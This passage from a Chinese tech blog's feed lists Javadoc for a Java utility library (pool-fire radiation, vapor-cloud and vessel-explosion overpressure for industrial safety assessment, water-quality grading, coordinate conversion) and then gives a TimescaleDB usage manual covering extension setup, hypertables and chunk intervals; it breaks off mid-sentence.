                    double d,</span><br><span class="line">                              double hc)</span><br><span class="line">池火灾模型计算</span><br><span class="line">参数:</span><br><span class="line">s - 观察者距液池中心的距离与火焰半径的比</span><br><span class="line">h - 火焰高度与火焰半径的比</span><br><span class="line">x - 目标储罐离液池中心的水平距离</span><br><span class="line">n - 效率因子</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">d - 液池直径</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">返回:</span><br><span class="line">火焰表面平均辐射强度 kW/m2</span><br></pre></td></tr></table></figure><h4 id="燃烧速度-mf">燃烧速度 mf</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double mf(double hc,</span><br><span class="line">                           double cp,</span><br><span class="line">                           double tb,</span><br><span class="line">                           double t0,</span><br><span class="line">                           double h)</span><br><span class="line">燃烧速度</span><br><span class="line">参数:</span><br><span class="line">hc - 液体燃烧热 J/Kg</span><br><span class="line">cp - 液体比压定热容 J/(kg·K)</span><br><span class="line">tb - 液体沸点 K</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">h - 液体的汽化热 J/Kg</span><br><span class="line">返回:</span><br><span class="line">单位池面积燃烧率 kg/(m2·s)</span><br></pre></td></tr></table></figure><h4 id="无风时火焰高度-fireHeightWithoutWind">无风时火焰高度 fireHeightWithoutWind</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double fireHeightWithoutWind(double m,</span><br><span class="line">                                              double p0,</span><br><span class="line">                                              double g,</span><br><span class="line">                                              double d)</span><br><span class="line">无风时火焰高度</span><br><span class="line">参数:</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">d - 液池直径，m</span><br><span class="line">返回:</span><br><span class="line">火焰高度 m</span><br></pre></td></tr></table></figure><h4 id="有风时火焰高度-fireHeightWithWind">有风时火焰高度 fireHeightWithWind</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double fireHeightWithWind(double m,</span><br><span class="line">                                           double p0,</span><br><span class="line">                                           double g,</span><br><span class="line">                                           double d,</span><br><span class="line">                                           double u,</span><br><span class="line">                                           double pv)</span><br><span class="line">有风时火焰高度</span><br><span class="line">参数:</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">d - 液池直径，m</span><br><span class="line">u - 10米高处的风速，m/s</span><br><span class="line">pv - 可燃液体的蒸气密度，kg/m3</span><br><span class="line">返回:</span><br><span class="line">火焰高度 m</span><br></pre></td></tr></table></figure><h4 id="无风时火焰表面平均辐射强度-countWithoutWind">无风时火焰表面平均辐射强度 countWithoutWind</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double countWithoutWind(double n,</span><br><span class="line">                                         double hc,</span><br><span class="line">                                         double x,</span><br><span class="line">                                         double m,</span><br><span class="line">                                         double p0,</span><br><span class="line">                                         double g,</span><br><span class="line">                                         double d)</span><br><span class="line">无风时火焰表面平均辐射强度</span><br><span class="line">参数:</span><br><span class="line">n - 效率因子 取值为0.13-0.35</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">x - 目标储罐离液池中心的水平距离</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">d - 液池直径，m</span><br><span class="line">返回:</span><br><span class="line">火焰表面平均辐射强度 kW/m2</span><br></pre></td></tr></table></figure><h4 id="有风时火焰表面平均辐射强度-countWithWind">有风时火焰表面平均辐射强度 countWithWind</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double countWithWind(double n,</span><br><span class="line">                                      double hc,</span><br><span class="line">                                      double x,</span><br><span class="line">                                      double m,</span><br><span class="line">                                      double p0,</span><br><span class="line">                                      double g,</span><br><span class="line">                                      double d,</span><br><span class="line">                                      double u,</span><br><span class="line">                                      double pv)</span><br><span class="line">有风时火焰表面平均辐射强度</span><br><span class="line">参数:</span><br><span class="line">n - 效率因子</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">x - 目标储罐离液池中心的水平距离</span><br><span class="line">m - 位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">d - 液池直径，m</span><br><span class="line">u - 10米高处的风速，m/s</span><br><span class="line">pv - 可燃液体的蒸气密度，kg/m3</span><br><span class="line">返回:</span><br><span class="line">火焰表面平均辐射强度 kW/m2</span><br></pre></td></tr></table></figure><h4 id="热辐射通量-thermalRadiationFlux">热辐射通量 thermalRadiationFlux</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double thermalRadiationFlux(double d,</span><br><span class="line">                                             double h,</span><br><span class="line">                                             double v,</span><br><span class="line">                                             double n,</span><br><span class="line">                                             double hc)</span><br><span class="line">热辐射通量</span><br><span class="line">参数:</span><br><span class="line">d - 液池直径 m</span><br><span class="line">h - 火焰高度 m</span><br><span class="line">v - 燃烧速度 kg/(m2·s)</span><br><span class="line">n - 效率因子 取值为0.13-0.35</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">返回:</span><br><span class="line">液池燃烧时放出的总热辐射通量 W</span><br></pre></td></tr></table></figure><h4 id="入射热辐射强度-heatRadiationIntensity">入射热辐射强度 heatRadiationIntensity</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double heatRadiationIntensity(double q,</span><br><span class="line">                                               double tc,</span><br><span class="line">                                               double x)</span><br><span class="line">入射热辐射强度</span><br><span class="line">参数:</span><br><span class="line">q - 热辐射通量 W</span><br><span class="line">tc - 热传导系数，在无相对理想的数据时，可取值为1</span><br><span class="line">x - 目标点到液池中心距离</span><br><span class="line">返回:</span><br><span class="line">入射通量 W/m2</span><br></pre></td></tr></table></figure><h4 id="无风时火焰表面平均辐射强度-count">无风时火焰表面平均辐射强度 count</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double count(double n,</span><br><span class="line">                              double hc,</span><br><span class="line">                              double x,</span><br><span class="line">                              double m,</span><br><span class="line">                              double p0,</span><br><span class="line">                              double g,</span><br><span class="line">                              double d)</span><br><span class="line">无风时火焰表面平均辐射强度</span><br><span class="line">参数:</span><br><span class="line">n - 效率因子 取值为0.13-0.35</span><br><span class="line">hc - 液体燃烧热，kJ/kg</span><br><span class="line">x - 目标储罐离液池中心的水平距离</span><br><span class="line">m - 单位池面积质量燃烧率 kg/(m2·s)</span><br><span class="line">p0 - 空气密度，kg/m3</span><br><span class="line">g - 重力加速度，取9.8m/s2</span><br><span class="line">d - 液池直径，m</span><br><span class="line">返回:</span><br><span class="line">火焰表面平均辐射强度 kW/m2</span><br></pre></td></tr></table></figure><h4 id="根据热射通量计算距离-x">根据热射通量计算距离 x</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.Double x(double q,</span><br><span class="line">                          double tc,</span><br><span class="line">                          double i)</span><br><span class="line">根据热射通量计算距离</span><br><span class="line">参数:</span><br><span class="line">q - 总热辐射通量 KW</span><br><span class="line">tc - 热传导系数，在无相对理想的数据时，可取值为1</span><br><span class="line">i - 入射通量 kW/m2</span><br><span class="line">返回:</span><br><span class="line">距离 m</span><br></pre></td></tr></table></figure><h3 id="将当前时间转换为短字符的uuid-UuidFormByTimeUtil">将当前时间转换为短字符的uuid UuidFormByTimeUtil</h3><h4 id="时间转换为更短的唯一标识符-uuid">时间转换为更短的唯一标识符 uuid</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.String uuid(java.lang.String headPrefix,</span><br><span class="line">                             @NotNull</span><br><span class="line">                             @NotNull java.lang.String middlePrefix)</span><br><span class="line">时间转换为更短的唯一标识符</span><br><span class="line">参数:</span><br><span class="line">headPrefix - 首位前缀</span><br><span class="line">middlePrefix - 标识符</span><br><span class="line">返回:</span><br><span class="line">唯一标识符</span><br></pre></td></tr></table></figure><h4 id="时间转换为更短的唯一标识符-uuid-2">时间转换为更短的唯一标识符 uuid</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public java.lang.String uuid(int startYear,</span><br><span class="line">                             java.lang.String headPrefix,</span><br><span class="line">                             java.lang.String middlePrefix)</span><br><span class="line">时间转换为更短的唯一标识符</span><br><span class="line">参数:</span><br><span class="line">startYear - 起始年份</span><br><span class="line">headPrefix - 首位前缀</span><br><span class="line">middlePrefix - 标识符</span><br><span class="line">返回:</span><br><span class="line">唯一标识符</span><br></pre></td></tr></table></figure><h3 id="蒸汽云爆炸模型-VaporCloudExplosionUtil">蒸汽云爆炸模型 VaporCloudExplosionUtil</h3><h4 id="无约束蒸气云爆炸冲击波-count">无约束蒸气云爆炸冲击波 count</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double count(double w,</span><br><span class="line">                              double q,</span><br><span class="line">                              double d)</span><br><span class="line">无约束蒸气云爆炸冲击波</span><br><span class="line">参数:</span><br><span class="line">w - 泄漏物料形成的气云质量 kg</span><br><span class="line">q - 气云燃烧热 J.kg-1</span><br><span class="line">d - 蒸气云中心距离 m</span><br><span class="line">返回:</span><br><span class="line">无约束蒸气云爆炸冲击波正相最大超压 Kpa</span><br></pre></td></tr></table></figure><h3 id="容器爆炸模型-VesselExplosionUtil">容器爆炸模型 VesselExplosionUtil</h3><h4 id="冲击波超压值-count">冲击波超压值 count</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double count(double p,</span><br><span class="line">                              double v,</span><br><span class="line">                              double r)</span><br><span class="line">冲击波超压值</span><br><span class="line">参数:</span><br><span class="line">p - 容器内气体的绝对压力（MPa）</span><br><span class="line">v - V为容器的容积（m3）</span><br><span class="line">r - 爆炸点距防护目标的距离（m）</span><br><span class="line">返回:</span><br><span class="line">目标位置冲击波超压值 kPa</span><br></pre></td></tr></table></figure><h3 id="水质等级计算-WaterGradeUtil">水质等级计算 WaterGradeUtil</h3><h4 id="根据因子浓度值计算水质等级-浓度值单位为HJ212中缺省计量单位-默认不为湖泊、水库中水质-countWaterGrade">根据因子浓度值计算水质等级 浓度值单位为HJ212中缺省计量单位, 默认不为湖泊、水库中水质 countWaterGrade</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Integer countWaterGrade(java.util.Map&lt;java.lang.String,java.lang.Double&gt; pollutantMap)</span><br><span class="line">根据因子浓度值计算水质等级 浓度值单位为HJ212中缺省计量单位, 默认不为湖泊、水库中水质</span><br><span class="line">参数:</span><br><span class="line">pollutantMap - 以HJ212因子编码为key 浓度值为value的map</span><br><span class="line">返回:</span><br><span class="line">水质等级</span><br></pre></td></tr></table></figure><h4 id="根据因子浓度值计算水质等级-浓度值单位为HJ212中缺省计量单位-countWaterGrade">根据因子浓度值计算水质等级 浓度值单位为HJ212中缺省计量单位 countWaterGrade</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Integer countWaterGrade(java.util.Map&lt;java.lang.String,java.lang.Double&gt; pollutantMap,</span><br><span class="line">                                         boolean isLakeOrReservoir)</span><br><span class="line">根据因子浓度值计算水质等级 浓度值单位为HJ212中缺省计量单位</span><br><span class="line">参数:</span><br><span class="line">pollutantMap - 以HJ212因子编码为key 浓度值为value的map</span><br><span class="line">isLakeOrReservoir - 是否检测水库、湖泊中的水质等级</span><br><span class="line">返回:</span><br><span class="line">水质等级</span><br></pre></td></tr></table></figure><h3 id="WGS84坐标系与墨卡托坐标系转换-WGS84MercatorToLngLatUtil">WGS84坐标系与墨卡托坐标系转换 WGS84MercatorToLngLatUtil</h3><h4 id="墨卡托转WGS84-mercatorToWgs84">墨卡托转WGS84 mercatorToWgs84</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public EarthPoint2D mercatorToWgs84(Point2D point2D)</span><br><span class="line">墨卡托转WGS84</span><br><span class="line">参数:</span><br><span class="line">point2D - 墨卡托坐标</span><br><span class="line">返回:</span><br><span class="line">WGS84坐标</span><br></pre></td></tr></table></figure><h4 id="WGS84转墨卡托坐标-wgs84ToMercator">WGS84转墨卡托坐标 wgs84ToMercator</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public Point2D wgs84ToMercator(EarthPoint2D earthPoint2D)</span><br><span class="line">WGS84转墨卡托坐标</span><br><span class="line">参数:</span><br><span class="line">earthPoint2D - WGS84坐标</span><br><span class="line">返回:</span><br><span class="line">墨卡托坐标</span><br></pre></td></tr></table></figure><h4 id="经纬度转平面坐标（墨卡托投影）-lonLatToMercator">经纬度转平面坐标（墨卡托投影） lonLatToMercator</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public static java.lang.Double[] lonLatToMercator(java.lang.Double lat,</span><br><span class="line">                                                  java.lang.Double lng)</span><br><span class="line">经纬度转平面坐标（墨卡托投影）</span><br><span class="line">参数:</span><br><span class="line">lat - 维度</span><br><span class="line">lng - 经度</span><br><span class="line">返回:</span><br><span class="line">点位</span><br></pre></td></tr></table></figure><h4 id="墨卡托转经纬度-mercatorToLonLat">墨卡托转经纬度 mercatorToLonLat</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">public static java.lang.Double[] mercatorToLonLat(java.lang.Double X,</span><br><span class="line">                                                  java.lang.Double Y)</span><br><span class="line">墨卡托转经纬度</span><br><span class="line">参数:</span><br><span class="line">X - x</span><br><span class="line">Y - y</span><br><span class="line">返回:</span><br><span class="line">经纬度数组</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;添加依赖&quot;&gt;添加依赖&lt;/h2&gt;
&lt;figure class=&quot;highlight xml&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2</summary>
      
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="allbs" scheme="https://blog.allbs.cn/tags/allbs/"/>
    
  </entry>
  
  <entry>
    <title>timescaledb详细使用手册</title>
    <link href="https://blog.allbs.cn/posts/21383/"/>
    <id>https://blog.allbs.cn/posts/21383/</id>
    <published>2022-09-02T05:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一-添加timescaledb插件">一.添加timescaledb插件</h2><h3 id="1-指令添加插件">1.指令添加插件</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># 登录</span><br><span class="line">su postgres</span><br><span class="line">psql</span><br><span class="line"># 列出当前库</span><br><span class="line">\l</span><br><span class="line"># 添加timescaled 扩展</span><br><span class="line">create extension timescaledb;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202110180939556.png" alt="image-20211018093958454"></p><h3 id="2-使用图形化工具添加插件">2.使用图形化工具添加插件</h3><p>使用pgAdmin4、Dbeaver等工作可直接添加插件</p><h2 id="二-普通表转为超表">二.普通表转为超表</h2><h3 id="1-普通超表">1.普通超表</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"># 创建普通表,和mysql类似</span><br><span class="line"><span class="keyword">CREATE TABLE</span> sensor_data (  </span><br><span class="line">&quot;time&quot; <span class="type">timestamp</span> <span class="keyword">with</span> <span class="type">time</span> zone <span class="keyword">NOT NULL</span>,  </span><br><span class="line">device_id TEXT <span class="keyword">NOT NULL</span>,  </span><br><span class="line">location TEXT <span class="keyword">NULL</span>,  </span><br><span class="line">temperature <span class="type">NUMERIC</span> <span class="keyword">NULL</span>,  </span><br><span class="line">humidity <span class="type">NUMERIC</span> <span class="keyword">NULL</span>,  </span><br><span class="line">pm25 <span class="type">NUMERIC</span>  </span><br><span class="line">);</span><br><span class="line"># 建立时间索引</span><br><span class="line"><span class="keyword">CREATE</span> INDEX <span class="keyword">ON</span> 表名(时间字段 <span class="keyword">DESC</span>)</span><br><span class="line"># 创建超表方式可自由组合</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间字段&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 将普通表的数据迁移到超标</span><br><span class="line"><span class="keyword">INSERT INTO</span> 超表 (<span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> 普通表); </span><br></pre></td></tr></table></figure><h3 id="2-附加参数">2.附加参数</h3><h4 id="执行add-dimension-函数时，-number-partitions-或-chunk-time-interval-必须选择一个。前者通过哈希分区，后者根据时间范围分区。">执行add_dimension()函数时， number_partitions 或 chunk_time_interval 必须选择一个。前者通过哈希分区，后者根据时间范围分区。</h4><p>chunk_time_interval 选择：</p><ul><li>如果分区列是TIMESTAMP, TIMESTAMPTZ, or DATE类型， 那么 chunk_time_interval 代表以毫秒为单位的时长。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"># 分区覆盖时间范围，需大于<span class="number">0</span>，缺省值<span class="number">7</span>天</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>, &quot;第二个索引字段&quot; , chunk_time_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">86400000000</span>);</span><br><span class="line"># 等同于</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>, &quot;第二个索引字段&quot; , <span class="type">interval</span> <span class="string">&#x27;24 hours&#x27;</span>);</span><br><span class="line"># 等同于</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>, &quot;第二个索引字段&quot; , <span class="type">interval</span> <span class="string">&#x27;1 day&#x27;</span>);</span><br><span class="line"># 等同于</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;第二个索引字段&#x27;</span>, <span class="type">interval</span> <span class="string">&#x27;1 day&#x27;</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li>如果分区列是整型，那么 chunk_time_interval按照整型数值计数。</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>, <span class="string">&#x27;第二个索引字段&#x27;</span>, <span class="number">2</span>);</span><br><span class="line"># 等同于</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>,<span class="string">&#x27;第二个索引字段&#x27;</span>, number_partitions <span class="operator">=</span><span class="operator">&gt;</span> <span class="number">2</span>);</span><br><span class="line"># 等同于</span><br><span class="line"><span class="keyword">SELECT</span> create_hypertable(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;时间主键&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> add_dimension(<span class="string">&#x27;表名&#x27;</span>, <span class="string">&#x27;第二个索引字段&#x27;</span>, <span class="number">2</span>);</span><br></pre></td></tr></table></figure><h2 id="三-timescaled-函数">三.timescaled 函数</h2><h3 id="1-设置时序元数据表数据块的时间间隔。设置后新生成的数据块使用新值，已有数据块不受影响。set-chunk-time-interval">1.设置时序元数据表数据块的时间间隔。设置后新生成的数据块使用新值，已有数据块不受影响。set_chunk_time_interval()</h3><p>chunk_time_interval 可以是如下类型</p><ul><li>TIMESTAMP, TIMESTAMPTZ, DATE: 比如区间类型(interval ‘1 day’)</li><li>INTEGER: 整型值</li></ul><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 把指定表的数据块区间设置成<span class="number">24</span>小时，分区键是<span class="type">TIMESTAMP</span>类型。</span><br><span class="line"><span class="keyword">SELECT</span> set_chunk_time_interval(<span class="string">&#x27;表名&#x27;</span>, <span class="type">interval</span> <span class="string">&#x27;24 hours&#x27;</span>);</span><br><span class="line"><span class="keyword">SELECT</span> set_chunk_time_interval(<span class="string">&#x27;表名&#x27;</span>, <span class="number">86400000000</span>);</span><br><span class="line"></span><br><span class="line"># 把指定表的数据块区间设置成<span class="number">24</span>小时，分区键是 UNIX 时间类型<span class="number">24</span> hours.</span><br><span class="line"><span class="keyword">SELECT</span> set_chunk_time_interval(<span class="string">&#x27;表名&#x27;</span>, <span class="number">86400000</span>);</span><br></pre></td></tr></table></figure><h3 id="2-设置时序元数据表的分区个数-set-number-partitions">2.设置时序元数据表的分区个数 set_number_partitions()</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 单分区表实例</span><br><span class="line"><span class="keyword">SELECT</span> set_number_partitions(<span class="string">&#x27;表名&#x27;</span>, <span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"># 多分区表实例</span><br><span class="line"><span class="keyword">SELECT</span> set_number_partitions(<span class="string">&#x27;表名&#x27;</span>, <span class="number">2</span>, <span class="string">&#x27;指定列&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 将默认的<span class="number">7</span>天分区超标修改为<span class="number">1</span>天一分区以解决数据量过大的问题</span><br><span class="line"><span class="keyword">SELECT</span> set_chunk_time_interval(<span class="string">&#x27;表名&#x27;</span>, <span class="type">interval</span> <span class="string">&#x27;24 hours&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="3-显示时序元数据表的关联数据块。-show-chunks">3.显示时序元数据表的关联数据块。 show_chunks()</h3><ul><li><p>older_than 和 newer_than 参数可以用以下2中方式表示：</p><ul><li>区间类型: 区间是指 now() - older_than 或者now() - newer_than。如果时间列不是TIMESTAMP, TIMESTAMPTZ, or 